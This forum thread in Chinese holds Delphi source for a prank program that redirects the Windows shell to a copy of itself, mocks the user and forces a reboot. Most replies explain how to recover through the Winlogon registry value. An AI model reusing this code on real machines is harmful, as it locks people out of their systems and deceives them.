关于win2000 professinal的shell!!! (0分)

  • 主题发起人 主题发起人 loveflying
  • 开始时间 开始时间
L

loveflying

Unregistered / Unconfirmed
GUEST, unregistred user!
我用delphi编了一个改变系统shell的程序, <br>运行后shell 将指向我指定的程序, <br>现在我用win2000做了依次实验,很管用, <br>可是很掺, <br>这我进不去iwn2000了, <br>不知道win2000 <br>shell=explorer <br>这个ini 放在哪里? <br>谁知道,给兄弟说一声吧。<br><br><br><br>
 
有意思!原来98下好像是在win.ini还是在system.ini中,我刚才找了一下,是没有。<br>那就不太好找了。你把你的代码贴出来?<br>或者寄到yuan-fan@21cn.com我来看看,应该有点头絮。
 
代码如下:<br>unit Unit1;<br>&nbsp;<br>interface<br>&nbsp;<br>uses<br>&nbsp; Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<br>&nbsp; StdCtrls, ComCtrls, ExtCtrls;<br>&nbsp;<br>type<br>&nbsp; TForm1 = class(TForm)<br>&nbsp; &nbsp; Label1: TLabel;<br>&nbsp; &nbsp; Label2: TLabel;<br>&nbsp; &nbsp; Timer1: TTimer;<br>&nbsp; &nbsp; ProgressBar1: TProgressBar;<br>&nbsp; &nbsp; procedure FormCreate(Sender: TObject);<br>&nbsp; &nbsp; procedure Timer1Timer(Sender: TObject);<br>&nbsp;<br>&nbsp; private<br>&nbsp; &nbsp; { Private declarations }<br>&nbsp; public<br>&nbsp; &nbsp; { Public declarations }<br>&nbsp; end;<br>&nbsp;<br>var<br>&nbsp; Form1: TForm1;<br>&nbsp;<br>implementation<br>&nbsp;<br>{$R *.DFM}<br>&nbsp;<br>&nbsp;<br>&nbsp;<br>function myGetWindowsDirectory : String;<br>var<br>&nbsp; &nbsp;pcWindowsDirectory : PChar;<br>&nbsp; &nbsp;dwWDSize &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : DWORD;<br>begin<br>&nbsp; &nbsp;dwWDSize := MAX_PATH + 1;<br>&nbsp;<br>&nbsp; &nbsp;result:='';<br>&nbsp; &nbsp;GetMem(pcWindowsDirectory, dwWDSize );<br>&nbsp; &nbsp;try<br>&nbsp; &nbsp; &nbsp; if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) &lt;&gt; 0 then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Result := pcWindowsDirectory;<br>&nbsp; &nbsp;finally<br>&nbsp; &nbsp; &nbsp; FreeMem( pcWindowsDirectory );<br>&nbsp; &nbsp;end;<br>end;<br>&nbsp;<br>&nbsp;<br>&nbsp;<br>&nbsp;<br>&nbsp;<br>function GetUserName: AnsiString;<br>var &nbsp;<br>&nbsp;lpName: PAnsiChar;<br>&nbsp;lpUserName: PAnsiChar;<br>&nbsp;lpnLength: DWORD;<br>begin &nbsp;<br>&nbsp;Result := '';<br>&nbsp;lpnLength := 0;<br>&nbsp;WNetGetUser(nil, nil, lpnLength); // 取得字串长度<br>&nbsp;if lpnLength &gt; 0 then<br>&nbsp;begin<br>&nbsp;GetMem(lpUserName, lpnLength);<br>&nbsp;if WNetGetUser(lpName, lpUserName, lpnLength) = NO_ERROR then<br>&nbsp; Result := lpUserName;<br>&nbsp;FreeMem(lpUserName, lpnLength);<br>&nbsp;end;<br>end;<br>&nbsp;<br><br>procedure TForm1.FormCreate(Sender: TObject);<br>begin<br>&nbsp;<br>&nbsp;WritePrivateProfileString('boot', 'shell', 'Expleror.exe', 'system.ini');<br>&nbsp;label1.caption:=GetUserName+',你上当了!';<br>&nbsp;label2.caption:='正在关机初始化,请稍后:';<br>&nbsp;SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, 0, 0);<br>&nbsp;copyfile(pchar(application.exename),pchar(myGetWindowsDirectory+'/expleror.exe'),false);<br>end;<br>&nbsp;<br>procedure TForm1.Timer1Timer(Sender: TObject);<br>begin<br>&nbsp; if progressbar1.position=100 &nbsp;then<br>&nbsp; begin<br>&nbsp; &nbsp; PostMessage(form1.Handle, WM_KEYDOWN, VK_TAB, 0);<br>&nbsp; &nbsp; ExitWindowsEx(EWX_REBOOT,0);<br>&nbsp; end<br>&nbsp;else<br>&nbsp; &nbsp;progressbar1.position:=progressbar1.position+1;<br>end;<br>&nbsp;<br>end.<br><br>&nbsp;<br>这个程序在win98下很容易恢复,可是到了win2000下,因为找不到shell的位置,所以。。。。<br>&nbsp;
 
还是在system.ini中。<br>2000不再使用system.ini,所以我的里面找不到shell字段。但是为了兼容16位应用程序。<br>所以还是保留了system.ini<br>下面是我的。<br>; for 16-bit app support<br><br>[drivers]<br>wave=mmdrv.dll<br>timer=timer.drv<br><br>[mci]<br>[driver32]<br>[386enh]<br>woafont=app936.FON<br>EGA80WOA.FON=EGA80WOA.FON<br>EGA40WOA.FON=EGA40WOA.FON<br>CGA80WOA.FON=CGA80WOA.FON<br>CGA40WOA.FON=CGA40WOA.FON<br><br>解决的方法是:<br>先在system.ini里面找到[boot]小结。将它全部删除,<br>然后重新从其它2000机子上拷贝一个expleror.exe到你的机子上。<br>(需要版本号一致)<br>如果没有,也可以从光盘上恢复或给我寄信。<br>
 
有没有搞错,<br>system.ini中可是没有[boot]这个小节呀。<br>又谈何去恢复!<br><br>再说了,那个程序不是删除了explorer.exe,而是向系统目录烤了<br>一个名为exleror.exe的应用程序,注意两者是不同的,<br>然后它改了system.ini中的shell值,<br>原来是<br>shell=explorer.exe,<br>现在改成<br>shell=expleror.exe,<br>所以系统因为找不到explorer.exe而进不去系统!!!<br>而win2000下因为找不到shell在哪个位置而无法修复。
 
喔,总算是找到了,可是不知道你能不能打开注册表呢?<br>那个信息写在了<br>hlmc/software/microsoft/windowsnt/currnetversion/winlogon<br>里面的 shell。
 
我试试能不能解决,要是不能解决,我也惨了。
 
同志,你有注册表备份没有?
 
已经OK了。<br>虽然不能出现正常的Windows界面,但是登陆是可以成功的,是不是?是这样的就好办:<br>按 ctrl+alt+del 键,点击“任务管理器”<br>文件/新任务/regedit运行后,删掉前面说的那一项就可以了。<br>[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon]<br>"Shell"="???" &nbsp;&lt;--删掉它就OK了。<br>
 
如果真的能够按Ctrl+Alt+Del,那么,你运行Explorer.exe,就出现桌面了。哈哈。<br>然后就可以做任何东西了。
 
怎么不给分呢?
 
我没有分了.<br>
 
to yzhshi:<br>&nbsp;打开explorer.exe,并没有桌面,而是打开了win2000的<br>&nbsp;资源管理器.<br>你试一试就知道了.<br>
 
再想问一个问题,<br>我把linux格式了,<br>可是lilo依然存在,<br>不知道lilo放在那里,<br>怎么清除??
 
LILO:<br>在主引导区,用Fdisk /mbr清除
 
后退
顶部